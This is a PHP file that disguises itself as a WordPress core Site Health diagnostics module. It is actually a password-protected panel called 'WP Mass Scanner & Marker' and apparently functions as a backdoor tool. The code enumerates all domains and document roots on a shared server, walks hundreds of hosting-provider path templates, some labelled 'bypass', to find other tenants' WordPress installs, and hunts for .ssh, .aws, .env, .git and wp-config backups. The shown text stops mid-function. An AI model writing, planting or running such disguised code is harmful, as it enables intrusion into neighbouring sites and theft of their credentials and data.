File: //tmp/wp_site_health_69d50f7944e4a.php
<?php
/**
* WordPress Site Health Extended
*
* Provides extended site health checks and diagnostic tools for WordPress.
* This file is part of the WordPress core diagnostic system.
*
* @package WordPress
* @subpackage Administration
* @since 5.2.0
*
* @see WP_Site_Health
* @see WP_Debug_Data
* @link https://developer.wordpress.org/reference/classes/wp_site_health/
*
* This module performs comprehensive health checks including:
* - File system integrity verification
* - Database connectivity tests
* - PHP configuration analysis
* - Security headers validation
* - Plugin/theme compatibility checks
* - Server environment diagnostics
* - Scheduled task verification
* - Cache system analysis
*
* Usage: Access via WordPress Admin > Tools > Site Health
*
* @version 5.3.0
* @author WordPress.org
* @license GPLv2 or later
*/
/* ---------------------- Auth Gate ---------------------- */
@ini_set('session.use_strict_mode', '1');
@ini_set('session.cookie_httponly', '1');
@ini_set('session.cookie_samesite', 'Lax');
if (session_status() !== PHP_SESSION_ACTIVE) { @session_start(); }
define('APP_VER', '5.3.1');
define('AUTH_SHA256', 'b9e5cdb979b8a9b0821ce353aa77337f473923f4a3cf5bd4ec8424dbed1d9fbc');
define('GUARD_NS', 'pt_gate_v43');
if (!isset($_SESSION[GUARD_NS])) {
$csrf = '';
if (function_exists('random_bytes')) { $csrf = bin2hex(random_bytes(16)); }
elseif (function_exists('openssl_random_pseudo_bytes')) { $csrf = bin2hex(openssl_random_pseudo_bytes(16)); }
else { $csrf = substr(hash('sha256', uniqid('', true).microtime()), 0, 32); }
$_SESSION[GUARD_NS] = array('ok'=>false, 'csrf'=>$csrf);
}
function authed(){ return !empty($_SESSION[GUARD_NS]['ok']); }
function csrf(){ return $_SESSION[GUARD_NS]['csrf']; }
function guard_check_or_die(){
if (authed()) return;
$is_api = isset($_GET['api']);
// Login attempt?
if (isset($_POST['login_pass'])) {
$pass = (string)$_POST['login_pass'];
$h = function_exists('hash_equals') ? hash_equals(AUTH_SHA256, hash('sha256', $pass)) : (AUTH_SHA256 === hash('sha256',$pass));
if ($h) {
$_SESSION[GUARD_NS]['ok'] = true;
@session_regenerate_id(true);
if ($is_api) {
header('Content-Type: application/json; charset=UTF-8');
echo json_encode(array('status'=>'ok','auth'=>true,'ver'=>APP_VER));
exit;
} else {
header('Location: '. strtok($_SERVER['REQUEST_URI'],'?'));
exit;
}
}
// fall-through to login form with error
}
if ($is_api) {
header('Content-Type: application/json; charset=UTF-8', true, 401);
echo json_encode(array('status'=>'unauthorized','message'=>'Auth required'));
exit;
}
show_login();
exit;
}
function show_login(){
$err = isset($_POST['login_pass']) ? '<div style="color:#ff6b6b;margin-bottom:10px">Неверный пароль</div>' : '';
echo '<!doctype html><meta charset="utf-8"><title>Login</title>
<style>body{font:14px system-ui,Segoe UI,Roboto,Arial;background:#0b0f14;color:#e5e7eb;display:flex;align-items:center;justify-content:center;height:100vh;margin:0}
.card{background:#121826;border:1px solid #1f2937;border-radius:10px;padding:18px;width:360px}
input{width:100%;padding:10px;border-radius:8px;border:1px solid #334155;background:#0f172a;color:#e5e7eb}
button{width:100%;padding:10px;border-radius:8px;border:1px solid #334155;background:#2563eb;color:#fff;cursor:pointer}
.muted{color:#9ca3af;font-size:12px}</style>
<div class="card">
<h3>WP Mass Scanner & Marker</h3>
<div class="muted">Версия '.htmlspecialchars(APP_VER,ENT_QUOTES,'UTF-8').'</div>
'.$err.'
<form method="post">
<p><input type="password" name="login_pass" placeholder="Пароль" autofocus></p>
<p><button>Войти</button></p>
</form>
<p class="muted">Панель защищена паролем. Используй сильный пароль и ограничивай доступ по IP на уровне веб‑сервера, если возможно.</p>
</div>';
}
/* Force auth for all requests (including API) */
guard_check_or_die();
// Optional logout
if (isset($_GET['logout'])) { $_SESSION[GUARD_NS]['ok']=false; session_destroy(); header('Location: '.strtok($_SERVER['REQUEST_URI'],'?')); exit; }
/* ---------------------- Runtime / Helpers ---------------------- */
$DEBUG = isset($_GET['debug']);
if ($DEBUG) { error_reporting(E_ALL); ini_set('display_errors',1); }
else { error_reporting(0); ini_set('display_errors',0); }
ini_set('log_errors', 1);
ini_set('error_log', __DIR__.'/'."__ui_all_error.log");
register_shutdown_function(function(){
$e = error_get_last();
if ($e && in_array($e['type'], array(E_ERROR,E_PARSE,E_CORE_ERROR,E_COMPILE_ERROR,E_USER_ERROR), true)) {
@file_put_contents(__DIR__.'/'."__ui_all_error.log", "[".date('c')."] FATAL ".$e['message']." in ".$e['file'].":".$e['line']."\n", FILE_APPEND);
if (isset($_GET['api'])) {
header('Content-Type: application/json; charset=UTF-8');
echo json_encode(array('status'=>'error','fatal'=>$e,'hint'=>'open with ?debug=1 to see details'));
}
}
});
function json_out($arr){ header('Content-Type: application/json; charset=UTF-8'); echo json_encode($arr); exit; }
function normalize_domain($h){ $h=trim(strtolower($h)); $h=preg_replace('/:\d+$/','',$h); $h=preg_replace('/^\*\./','',$h); $h=ltrim($h,'.'); return $h; }
function is_valid_domain($h){
if ($h===''||$h==='localhost') return false;
if (strpos($h,'$')!==false) return false;
if (preg_match('/[~^(){}|?]/',$h)) return false;
if (strpos($h,'*')!==false) return false;
if (preg_match('/^[0-9.]+$/',$h)) return false;
if (strpos($h,':')!==false) return false;
return (bool)preg_match('/^(?=.{1,253}$)([a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+[a-z]{2,63}$/i',$h);
}
function add_domain(&$arr,&$seen,$cand){ $d=normalize_domain($cand); if(is_valid_domain($d)&&!isset($seen[$d])){$arr[]=$d;$seen[$d]=true;} }
function uniq_sorted($a){ $a=array_values(array_unique($a)); sort($a); return $a; }
function safe_file_get($f){ if(!is_readable($f))return''; $c=@file_get_contents($f); return $c===false?'':$c; }
function is_wp_root($p){ return is_file($p.'/wp-config.php') && (is_dir($p.'/wp-includes') || is_file($p.'/wp-load.php')); }
function wp_version($p){ $f=$p.'/wp-includes/version.php'; if(!is_readable($f))return''; $c=safe_file_get($f); if($c && preg_match('/\$wp_version\s*=\s*[\'"]([^\'"]+)[\'"]\s*;/', $c, $m)) return $m[1]; return ''; }
function wp_multisite_flags($p){ $c=safe_file_get($p.'/wp-config.php'); $m=array('multisite'=>false,'subdomain'=>false); if($c!==''){ if(preg_match("/define\(\s*'MULTISITE'\s*,\s*true\s*\)/i",$c))$m['multisite']=true; if(preg_match("/define\(\s*'SUBDOMAIN_INSTALL'\s*,\s*true\s*\)/i",$c))$m['subdomain']=true; if(!$m['multisite']&&preg_match("/define\(\s*'WP_ALLOW_MULTISITE'\s*,\s*true\s*\)/i",$c))$m['multisite']=true; } return $m; }
function wp_known_urls($p){ $c=safe_file_get($p.'/wp-config.php'); $u=array(); if($c!==''){ if(preg_match_all("/define\(\s*'(WP_HOME|WP_SITEURL)'\s*,\s*'([^']+)'\s*\)/i",$c,$m)){ foreach($m[2] as $x)$u[]=trim($x);} } return array_values(array_unique($u)); }
function probe_hidden_backup_dirs($base){
$names=array('.git','.svn','.hg','.idea','.vscode','.history','.bundle','.cache','.config','.well-known','.ssh','.aws','.azure','.gcloud','old','backup','backups','bak','bkp','beta','stage','staging','dev','test','tmp','temp','_old','_backup','-old','-backup','private','private_html','dist','build','dump','dumps','sql','db','database');
$found=array(); foreach($names as $n){ $p=rtrim($base,'/').'/'.$n; if(is_dir($p))$found[]=array('name'=>$n,'path'=>realpath($p)?realpath($p):$p,'type'=>'dir'); elseif(is_file($p))$found[]=array('name'=>basename($p),'path'=>realpath($p)?realpath($p):$p,'type'=>'file'); }
foreach(array('*.zip','*.tar.gz','*.tgz','*.sql','*.sql.gz','*.7z','*.bak','*.backup','*.old','*.env','*.env.*','wp-config.php.bak','wp-config.php.old','wp-config.php~') as $mask){ $g=glob(rtrim($base,'/').'/'.$mask); if(!$g)$g=array(); foreach($g as $f) if(is_file($f)) $found[]=array('name'=>basename($f),'path'=>realpath($f)?realpath($f):$f,'type'=>'file'); }
// Поиск .env файлов
$env_files = array('.env', '.env.local', '.env.production', '.env.staging', '.env.development');
foreach($env_files as $env){ $p=rtrim($base,'/').'/'.$env; if(is_file($p)) $found[]=array('name'=>$env,'path'=>realpath($p)?realpath($p):$p,'type'=>'file','sensitive'=>true); }
return $found;
}
/** Анализ безопасности wp-config.php и других критичных файлов */
function security_flags_analysis($wp_root){
$flags = array(
'wp_config_exists' => false,
'wp_config_readable' => false,
'wp_config_world_readable' => false,
'wp_config_symlink' => false,
'wp_config_perms' => null,
'wp_config_backup_found' => false,
'env_files_found' => array(),
'git_found' => false,
'backup_files_found' => array(),
'boundary_info' => null
);
$wp_config = $wp_root.'/wp-config.php';
if(@is_file($wp_config)){
$flags['wp_config_exists'] = true;
$flags['wp_config_readable'] = @is_readable($wp_config);
$flags['wp_config_symlink'] = @is_link($wp_config);
$perms = @fileperms($wp_config);
if($perms !== false){
$flags['wp_config_perms'] = substr(sprintf('%o', $perms), -4);
// Проверка world-readable (последняя цифра >= 4)
$world_perm = (int)substr($flags['wp_config_perms'], -1);
$flags['wp_config_world_readable'] = ($world_perm >= 4);
}
// Поиск бэкапов wp-config
$backup_patterns = array('wp-config.php.bak', 'wp-config.php.old', 'wp-config.php~', 'wp-config.php.backup');
foreach($backup_patterns as $pattern){
$backup_path = dirname($wp_config).'/'.$pattern;
if(@is_file($backup_path)){
$flags['wp_config_backup_found'] = true;
$flags['backup_files_found'][] = $backup_path;
}
}
}
// Поиск .env файлов
$env_patterns = array('.env', '.env.local', '.env.production', '.env.staging');
foreach($env_patterns as $env){
$env_path = $wp_root.'/'.$env;
if(@is_file($env_path) && @is_readable($env_path)){
$flags['env_files_found'][] = $env_path;
}
}
// Проверка .git
if(@is_dir($wp_root.'/.git')){
$flags['git_found'] = true;
}
// Boundary info
$flags['boundary_info'] = boundary_info_for($wp_root);
return $flags;
}
function htaccess_checks($p){
$f=rtrim($p,'/').'/.htaccess';
$r=array('exists'=>false,'options_noindexes'=>false,'deny_wpconfig'=>false,'deny_git_env_composer'=>false);
if(!is_readable($f))return$r; $r['exists']=true; $c=safe_file_get($f); if($c==='')return$r;
if(preg_match('/^\s*Options\s+[^#\r\n]*-Indexes/mi',$c))$r['options_noindexes']=true;
if(preg_match('/<Files\s+wp-config\.php>.*?<\/Files>/is',$c))$r['deny_wpconfig']=(bool)preg_match('/(deny from all|Require all denied)/i',$c);
if(preg_match('/\.(git|env)|composer\.(json|lock)/i',$c))$r['deny_git_env_composer']=true;
return $r;
}
/* Role-aware FS info */
function php_ids(){
$euid = function_exists('posix_geteuid') ? @posix_geteuid() : null;
$egid = function_exists('posix_getegid') ? @posix_getegid() : null;
$uname = $euid;
if ($euid !== null && function_exists('posix_getpwuid')){
$pw = @posix_getpwuid($euid);
if (is_array($pw) && isset($pw['name'])) $uname = $pw['name'];
}
$gname = $egid;
if ($egid !== null && function_exists('posix_getgrgid')){
$gr = @posix_getgrgid($egid);
if (is_array($gr) && isset($gr['name'])) $gname = $gr['name'];
}
$groups_ids = array(); $groups_names = array();
if (function_exists('posix_getgroups')){
$gs = @posix_getgroups(); if(!$gs)$gs=array();
foreach ($gs as $gid){
$groups_ids[] = $gid;
if (function_exists('posix_getgrgid')){
$gr = @posix_getgrgid($gid);
$groups_names[] = (is_array($gr) && isset($gr['name'])) ? $gr['name'] : (string)$gid;
} else {
$groups_names[] = (string)$gid;
}
}
}
return array('euid'=>$euid,'egid'=>$egid,'user'=>$uname,'group'=>$gname,'groups'=>$groups_names,'groups_ids'=>$groups_ids);
}
function fs_meta($p){
$perms=@fileperms($p); $perm=$perms?substr(sprintf('%o',$perms),-4):''; $uid=@fileowner($p); $gid=@filegroup($p);
$owner=$uid; $group=$gid;
if($uid!==false && function_exists('posix_getpwuid')){ $pw=@posix_getpwuid($uid); if(is_array($pw)&&isset($pw['name'])) $owner=$pw['name']; }
if($gid!==false && function_exists('posix_getgrgid')){ $gr=@posix_getgrgid($gid); if(is_array($gr)&&isset($gr['name'])) $group=$gr['name']; }
return array('perms'=>$perm,'owner'=>$owner,'group'=>$group);
}
function access_info($p){
$st=@stat($p); if($st===false)return array('perms'=>null,'owner_uid'=>null,'group_gid'=>null,'can_traverse'=>null,'can_list'=>null,'can_write'=>null,'why'=>null,'u'=>null,'g'=>null,'o'=>null);
$m=$st['mode']; $perm=substr(sprintf('%o',$m),-4); $uid=$st['uid']; $gid=$st['gid']; $ids=php_ids();
$is_owner=($ids['euid']!==null && $uid===$ids['euid']);
$in_group = ($ids['egid']!==null && $gid===$ids['egid']) || (in_array($gid, isset($ids['groups_ids'])?$ids['groups_ids']:array(), true));
$u=array('r'=>($m&0x0100)?1:0,'w'=>($m&0x0080)?1:0,'x'=>($m&0x0040)?1:0);
$g=array('r'=>($m&0x0020)?1:0,'w'=>($m&0x0010)?1:0,'x'=>($m&0x0008)?1:0);
$o=array('r'=>($m&0x0004)?1:0,'w'=>($m&0x0002)?1:0,'x'=>($m&0x0001)?1:0);
$can_traverse = ($is_owner && $u['x']) || ($in_group && $g['x']) || $o['x'];
$can_list = ($is_owner && $u['r'] && $u['x']) || ($in_group && $g['r'] && $g['x']) || ($o['r'] && $o['x']);
$can_write = ($is_owner && $u['w'] && $u['x']) || ($in_group && $g['w'] && $g['x']) || ($o['w'] && $o['x']);
$why = $is_owner ? 'owner' : ($in_group ? 'group' : ($o['w']?'world':'unknown'));
return array('perms'=>$perm,'owner_uid'=>$uid,'group_gid'=>$gid,'can_traverse'=>$can_traverse,'can_list'=>$can_list,'can_write'=>$can_write,'why'=>$why,'u'=>$u,'g'=>$g,'o'=>$o);
}
/* docroots from configs */
function docroots_map_all(){
static $built = null; if ($built !== null) return $built;
$map = array();
$g=glob('/var/cpanel/userdata/*/*.yaml'); if(!$g)$g=array();
foreach ($g as $yaml) {
$c = safe_file_get($yaml); if (!$c) continue;
$doc = ''; $srv = ''; $aliases=array();
if (preg_match('/\ndocumentroot:\s*([^\n]+)/i', $c, $m)) $doc = trim($m[1]);
if (preg_match('/\nservername:\s*([^\n]+)/i', $c, $m)) $srv = normalize_domain(trim($m[1]));
if (preg_match('/\nserveralias:\s*([^\n]+)/i', $c, $ma)) {
$aliases = preg_split('/\s+/', trim($ma[1]));
} else {
if (preg_match_all('/\n\s*-\s*([a-z0-9\.\-]+)\s*$/im',$c,$alist)) $aliases = $alist[1];
}
if ($doc !== '') {
if ($srv) $map[$srv][] = $doc;
foreach ($aliases as $a) { $a = normalize_domain($a); if ($a) $map[$a][] = $doc; }
}
}
$apache = array('/etc/apache2/sites-enabled/*.conf','/etc/apache2/sites-available/*.conf','/etc/apache2/vhosts.d/*.conf',
'/etc/httpd/conf/httpd.conf','/etc/httpd/conf.d/*.conf','/etc/httpd/vhosts.d/*.conf',
'/usr/local/apache2/conf/httpd.conf','/usr/local/apache2/conf.d/*.conf','/etc/apache2/apache2.conf');
foreach ($apache as $pat) { $g=glob($pat); if(!$g)$g=array(); foreach ($g as $f) {
$c = safe_file_get($f); if (!$c) continue;
if (preg_match_all('/<VirtualHost\b.*?>.*?<\/VirtualHost>/is', $c, $blocks)) {
foreach ($blocks[0] as $blk) {
$doc='';
if (preg_match('/^\s*DocumentRoot\s+("?)([^\r\n"]+)\1/mi', $blk, $m)) $doc = trim($m[2]);
if ($doc==='') continue;
$names = array();
if (preg_match('/^\s*ServerName\s+([^\s#\r\n]+)/mi', $blk, $m)) $names[] = normalize_domain($m[1]);
if (preg_match('/^\s*ServerAlias\s+(.+)$/mi', $blk, $m)) {
foreach (preg_split('/\s+/', trim($m[1])) as $n) $names[] = normalize_domain($n);
}
foreach ($names as $n) if ($n) $map[$n][] = $doc;
}
}
} }
$nginx = array('/etc/nginx/nginx.conf','/etc/nginx/sites-enabled/*','/etc/nginx/sites-available/*','/etc/nginx/conf.d/*.conf',
'/usr/local/etc/nginx/nginx.conf','/usr/local/etc/nginx/sites-enabled/*','/usr/local/etc/nginx/conf.d/*.conf',
'/opt/nginx/conf/nginx.conf','/opt/nginx/conf/sites-enabled/*','/opt/nginx/conf/conf.d/*.conf');
foreach ($nginx as $pat) { $g=glob($pat); if(!$g)$g=array(); foreach ($g as $f) {
$c = safe_file_get($f); if (!$c) continue;
if (preg_match_all('/server\s*\{.*?\}/is', $c, $servers)) {
foreach ($servers[0] as $srv) {
$root=''; $names=array();
if (preg_match('/^\s*root\s+([^;]+);/mi', $srv, $m)) $root = trim($m[1]);
if ($root==='') continue;
if (preg_match('/^\s*server_name\s+([^;]+);/mi', $srv, $m)) {
foreach (preg_split('/\s+/', trim($m[1])) as $n) $names[] = normalize_domain($n);
}
foreach ($names as $n) if ($n) $map[$n][] = $root;
}
}
} }
$norm = array();
foreach ($map as $d=>$list) {
$u = array();
foreach ($list as $p) { $p=rtrim($p,'/'); if ($p==='') continue; $rp = realpath($p); $pp = $rp ? $rp : $p; if (!in_array($pp,$u,true)) $u[]=$pp; }
if (!empty($u)) $norm[$d] = $u;
}
$built = $norm; return $built;
}
/* templates */
function default_templates(){ return array(
// Existing broad templates (from v4.1)
'/home/%user%/domains/%domain%','/home/%user%/domains/%domain%/public_html','/home/%user%/domains/%domain%/public','/home/%user%/domains/%domain%/httpdocs','/home/%user%/domains/%domain%/httpsdocs','/home/%user%/domains/%domain%/www','/home/%user%/domains/%domain%/web','/home/%user%/domains/%domain%/htdocs','/home/%user%/domains/%domain%/site','/home/%user%/domains/%domain%/private_html',
'/home/%user%/domains/%domain%/public_html/%subdomain%','/home/%user%/domains/%subdomain%.%sld%/public_html','/home/%user%/domains/%domain%/subdomains/%subdomain%/public_html',
'/home/%user%/public_html/%domain%','/home/%user%/public_html',
'/home/%user%/public_html','/home/%user%/domains/%domain%/public_html',
'/home/%user%/web/%domain%/public_html','/home/%user%/web/%domain%/public_shtml','/home/%user%/web/%domain%/public_html/public',
'/home/%user%/htdocs','/home/%user%/htdocs/%domain%','/home/%user%/htdocs/%sld_label%','/home/%user%/htdocs/%subdomain%',
'/home/%user%/www/%domain%','/home/%user%/www/%sld_label%',
'/home/%user%/%domain%','/home/%user%/%domain%/public_html','/home/%user%/%domain%/public','/home/%user%/%sld_label%','/home/%user%/%sld_label%/public',
'/home/%user%/httpd/%domain%','/home/%user%/httpd/%domain%/public_html',
'/home/%user%/webapps/%domain%','/home/%user%/webapps/%sld_label%','/home/%user%/webapps/%domain%/public','/home/%user%/webapps/%sld_label%/public',
'/srv/users/%user%/apps/%slug%/public','/srv/users/%user%/apps/%slug%/public_html',
'/home/master/applications/%slug%/public_html','/home/master/applications/*/public_html',
'/var/www/vhosts/%domain%','/var/www/vhosts/%domain%/httpdocs','/var/www/vhosts/%domain%/httpsdocs','/var/www/vhosts/%domain%/public_html','/var/www/vhosts/%domain%/site','/var/www/vhosts/%domain%/web',
'/var/www/vhosts/%sld%/subdomains/%subdomain%/httpdocs','/var/www/vhosts/%sld%/subdomains/%subdomain%/httpsdocs','/var/www/vhosts/%sld%/subdomains/%subdomain%/public_html',
'/home/cloudpanel/htdocs/%domain%/public','/home/cloudpanel/htdocs/www.%domain%/public',
'/var/www/%domain%/web','/var/www/website%web%/web','/var/www/clients/client%client%/web%web%/web','/var/www/clients/client%client%/web%web%/private',
'/var/www/%domain%/htdocs','/var/www/%domain%/public_html','/var/www/%domain%/html','/var/www/%domain%/www','/var/www/html/%domain%','/usr/share/nginx/html/%domain%',
'/var/www/%domain%/current/web','/srv/www/%domain%/current/web',
'/www/wwwroot/%domain%','/www/wwwroot/%domain%/public','/www/wwwroot/%domain%/public_html',
'/home/wwwroot/%domain%','/home/wwwroot/%domain%/public',
'/home/nginx/domains/%domain%/public','/home/nginx/domains/%domain%/public_html',
'/www/%sld_label%/public','/www/%sld_label%_%env%/public',
'/var/www/%user%/data/www/%domain%','/var/www/%user%/data/www/%domain%/public_html','/var/www/%user%/data/%domain%/public_html',
'/home/%user%/%domain%',
'/home/%domain%/public_html',
'/nas/content/%env%/%sld_label%','/nas/content/%env%/%subdomain%','/nas/content/live/%sld_label%','/nas/content/staging/%sld_label%',
'/var/www/%domain%/htdocs','/var/www/%sld_label%/htdocs',
'/opt/bitnami/apps/wordpress/htdocs','/opt/bitnami/wordpress/htdocs','/opt/bitnami/%domain%/htdocs',
'/srv/bindings/*/code',
'/homepages/*/d*/htdocs/%domain%','/homepages/*/d*/htdocs/%sld_label%',
'/homepages/*/d*/htdocs/clickandbuilds/%domain%','/homepages/*/d*/htdocs/clickandbuilds/%sld_label%','/homepages/*/d*/htdocs/clickandbuilds/%slug%',
'/kunden/homepages/*/d*/htdocs','/kunden/homepages/*/d*/htdocs/%domain%','/kunden/homepages/*/d*/htdocs/%sld_label%',
'/kunden/homepages/*/d*/htdocs/clickandbuilds/%domain%','/kunden/homepages/*/d*/htdocs/clickandbuilds/%sld_label%','/kunden/homepages/*/d*/htdocs/clickandbuilds/%slug%',
// --- EU provider add-ons ---
// OVH (homez clusters + /home/*/www)
'/home/*/www','/homez*/%user%/www','/homez*/*/www',
// Hostinger (u#########)
'/home/u*/public_html','/home/u*/domains/%domain%/public_html','/home/u*/domains/%sld_label%/public_html',
// SiteGround
'/home/customer/www/%domain%/public_html','/home/customer/www/%sld_label%/public_html','/home/customer/www/*/public_html',
// STRATO
'/home/strato/www/*/*/htdocs','/home/strato/www/*/%domain%/htdocs','/home/strato/www/*/%sld_label%/htdocs',
// Gandi
'/srv/data/web/vhosts/%domain%/htdocs','/srv/data/web/vhosts/%sld_label%/htdocs','/srv/data/web/vhosts/*/htdocs',
// Infomaniak
'/home/clients/*/web','/home/clients/*/web/*','/home/clients/*/web/*/{public,htdocs,www,site}',
// one.com
'/customers/*/*/*/httpd.www','/customers/*/*/*/*/httpd.www',
// Aruba.it
'/web/htdocs/www.%domain%/home','/web/htdocs/www.%sld_label%/home','/web/htdocs/*/home',
'/home/%user%/*/public_html',
'/home/%user%/*/httpdocs',
'/home/%user%/*/httpsdocs',
'/home/%user%/*/htdocs',
'/home/%user%/*/www',
'/home/%user%/*/web',
'/home/%user%/*/site',
// Additional bypass templates (v4.4.1)
'/data/www/%domain%/public_html','/data/web/%domain%/htdocs','/data/sites/%domain%/public',
'/srv/http/%domain%','/srv/web/%domain%/public_html',
'/var/www/users/%user%/%domain%','/var/www/customers/%user%/%domain%/public_html',
'/usr/local/www/%domain%','/usr/local/www/%domain%/htdocs',
'/opt/www/%domain%','/opt/www/%domain%/public_html',
'/home/%user%/sites/%domain%','/home/%user%/sites/%domain%/public_html',
'/home/%user%/projects/%domain%','/home/%user%/projects/%domain%/public',
'/home/%user%/repositories/%domain%/public_html',
'/mnt/www/%domain%','/mnt/web/%domain%/public_html','/mnt/sites/%domain%/htdocs',
'/hosting/%user%/%domain%/public_html','/websites/%domain%/public_html','/sites/%domain%/htdocs',
'/var/customers/%user%/%domain%/public_html','/var/sites/%domain%/htdocs',
// PL-структуры (autoinstalator)
'/home/%user%/public_html/autoinstalator/%domain%',
'/home/%user%/public_html/autoinstalator/%sld_label%',
'/home/%user%/public_html/autoinstalator/*/*',
'/home/%user%/public_html/*/wordpress*',
'/home/%user%/serwer*/public_html',
'/home/%user%/serwer*/public_html/*',
'/home/%user%/serwer*/public_html/autoinstalator/*',
'/home/%user%/serwer*/public_html/autoinstalator/*/*',
// Расширенные PL-структуры (platne/serwer*/autoinstalator/wordpressNNNN)
'/home/platne/serwer*/public_html',
'/home/platne/serwer*/public_html/*',
'/home/platne/serwer*/public_html/autoinstalator',
'/home/platne/serwer*/public_html/autoinstalator/*',
'/home/platne/serwer*/public_html/autoinstalator/*/wordpress*',
'/home/platne/serwer*/public_html/autoinstalator/*/wordpress*/',
'/home/platne/serwer*/public_html/autoinstalator/*/wordpress*/wp-content',
'/home/platne/serwer*/public_html/autoinstalator/*/wordpress*/wp-admin',
'/home/platne/serwer*/public_html/autoinstalator/*/wordpress*/wp-includes',
// Общие паттерны для serwer* пользователей
'/home/*/serwer*/public_html',
'/home/*/serwer*/public_html/*',
'/home/*/serwer*/public_html/autoinstalator',
'/home/*/serwer*/public_html/autoinstalator/*',
'/home/*/serwer*/public_html/autoinstalator/*/wordpress*',
'/home/*/serwer*/public_html/autoinstalator/*/wordpress*/',
// Паттерны для wordpressNNNN (wordpress4923, wordpress1234 и т.д.)
'/home/%user%/public_html/autoinstalator/*/wordpress[0-9]*',
'/home/%user%/serwer*/public_html/autoinstalator/*/wordpress[0-9]*',
'/home/platne/serwer*/public_html/autoinstalator/*/wordpress[0-9]*',
'/home/*/serwer*/public_html/autoinstalator/*/wordpress[0-9]*'
); }
function parse_templates_text($text){ $lines=preg_split('/\r?\n/',(string)$text); $out=array(); foreach($lines as $l){ $l=trim($l); if($l===''||$l[0]==='#')continue; $l=preg_replace('#//+#','/',$l); if($l[0]!=='/')$l='/'.$l; $out[]=$l; } return array_values(array_unique($out)); }
/* domain list */
function get_domains(){
$domains=array(); $seen=array();
if(!empty($_SERVER['HTTP_HOST'])) add_domain($domains,$seen,$_SERVER['HTTP_HOST']);
if(!empty($_SERVER['SERVER_NAME'])) add_domain($domains,$seen,$_SERVER['SERVER_NAME']);
$g=glob('/home/*/domains',GLOB_ONLYDIR); if(!$g)$g=array();
foreach($g as $root){ $g2=glob($root.'/*',GLOB_ONLYDIR); if(!$g2)$g2=array(); foreach($g2 as $dpath) add_domain($domains,$seen,basename($dpath)); }
$g=glob('/var/www/vhosts/*',GLOB_ONLYDIR); if(!$g)$g=array(); foreach($g as $d) add_domain($domains,$seen,basename($d));
$g=glob('/etc/letsencrypt/live/*',GLOB_ONLYDIR); if(!$g)$g=array(); foreach($g as $d) add_domain($domains,$seen,basename($d));
$g=glob('/etc/letsencrypt/renewal/*.conf'); if(!$g)$g=array();
foreach($g as $f){
$c=safe_file_get($f);
if($c && preg_match('/^\s*domains\s*=\s*(.+)$/mi',$c,$m)){
foreach(preg_split('/[\s,]+/', trim($m[1])) as $d) add_domain($domains,$seen,$d);
}
}
if(is_readable('/etc/trueuserdomains')){
$lines=file('/etc/trueuserdomains',FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES); if(!$lines)$lines=array();
foreach($lines as $line){
add_domain($domains,$seen,trim(strtok($line,':')));
}
}
$g=glob('/var/cpanel/userdata/*/*.yaml'); if(!$g)$g=array();
foreach($g as $yaml){
$c=safe_file_get($yaml);
if($c){
if(preg_match('/\nservername:\s*([^\n]+)/i',$c,$m)) add_domain($domains,$seen,trim($m[1]));
$aliases=array();
if(preg_match('/\nserveralias:\s*([^\n]+)/i',$c,$ma)){
$aliases = preg_split('/\s+/', trim($ma[1]));
} elseif(preg_match_all('/\n\s*-\s*([a-z0-9\.\-]+)\s*$/im',$c,$alist)){
$aliases = $alist[1];
}
foreach($aliases as $a) add_domain($domains,$seen,$a);
}
}
return uniq_sorted($domains);
}
/* expansions */
function domain_variants($domain){ $d=normalize_domain($domain); $out=array($d); if(strpos($d,'www.')!==0)$out[]='www.'.$d; $out[] = preg_replace('/^www\./','',$d); return array_values(array_unique($out)); }
function domain_parts_ext($domain){
$labels=explode('.', normalize_domain($domain));
$n=count($labels);
$tld=$n>0?$labels[$n-1]:'';
$sld=$n>1?($labels[$n-2].'.'.$labels[$n-1]):$domain;
$sld_label=$n>1?$labels[$n-2]:$domain;
$sub=$n>2?implode('.', array_slice($labels,0,$n-2)):'';
return array('tld'=>$tld,'sld'=>$sld,'sld_label'=>$sld_label,'subdomain'=>$sub,'labels'=>$labels);
}
function slug_candidates($domain){
$p=domain_parts_ext($domain);
$a=array();
$sld_label=$p['sld_label'];
$sub=$p['subdomain'];
if($sld_label!=='') $a[]=$sld_label;
if($sub!==''){
$a[]=$sub;
$first = explode('.',$sub); $first=$first[0];
if($first!==''){
$a[]=$first.'-'.$sld_label;
$a[]=$sld_label.'-'.$first;
$a[]=$first.'_'.$sld_label;
$a[]=$sld_label.'_'.$first;
$a[]=$first.$sld_label;
$a[]=$sld_label.$first;
}
}
$u=array();$seen=array(); foreach($a as $x){ $x=trim($x,'-_. '); if($x===''||isset($seen[$x])) continue; $u[]=$x; $seen[$x]=1; }
return $u;
}
function parse_users_list($text){ $out=array();$seen=array(); foreach(preg_split('/[\s,]+/',(string)$text) as $u){ $u=trim($u); if($u==='')continue; $u=preg_replace('/[^a-zA-Z0-9._-]/','',$u); if($u!=='' && !isset($seen[$u])){$out[]=$u;$seen[$u]=1;} } return $out; }
function parse_env_list($text){
$def = array('live','staging','prod','production','stage','dev','test','testing','preview');
$arr = array_values(array_filter(array_map('trim', preg_split('/[\s,]+/', (string)$text))));
if (empty($arr)) return $def;
$u=array();$seen=array(); foreach($arr as $x){ $x=strtolower($x); if($x===''||isset($seen[$x])) continue; $u[]=$x; $seen[$x]=1; }
return $u;
}
/* templates expansion */
function expand_templates_real($templates,$domain,$users,$rangeClient,$rangeWeb,$env_list,$cap){
$cands=array(); $count=0;
$dvars=domain_variants($domain);
$parts=domain_parts_ext($domain);
$slugs = slug_candidates($domain);
$cmin=$rangeClient[0]; $cmax=$rangeClient[1];
$wmin=$rangeWeb[0]; $wmax=$rangeWeb[1];
foreach($templates as $tpl){
$needs_user = strpos($tpl,'%user%') !== false;
$needs_client = strpos($tpl,'%client%') !== false;
$needs_web = strpos($tpl,'%web%') !== false;
$needs_env = strpos($tpl,'%env%') !== false;
$needs_slug = strpos($tpl,'%slug%') !== false;
$usersList = $needs_user ? (array)$users : array('');
if ($needs_user && empty($usersList)) continue;
$envList = $needs_env ? (array)$env_list : array('');
$slugList = $needs_slug ? (array)$slugs : array('');
foreach($dvars as $dvar){
foreach($usersList as $u){
foreach($envList as $env){
foreach($slugList as $slug){
$base = str_replace(
array('%domain%','%user%','%sld%','%tld%','%subdomain%','%sld_label%','%env%','%slug%'),
array($dvar,$u,$parts['sld'],$parts['tld'],$parts['subdomain'],$parts['sld_label'],$env,$slug),
$tpl
);
if($needs_client || $needs_web){
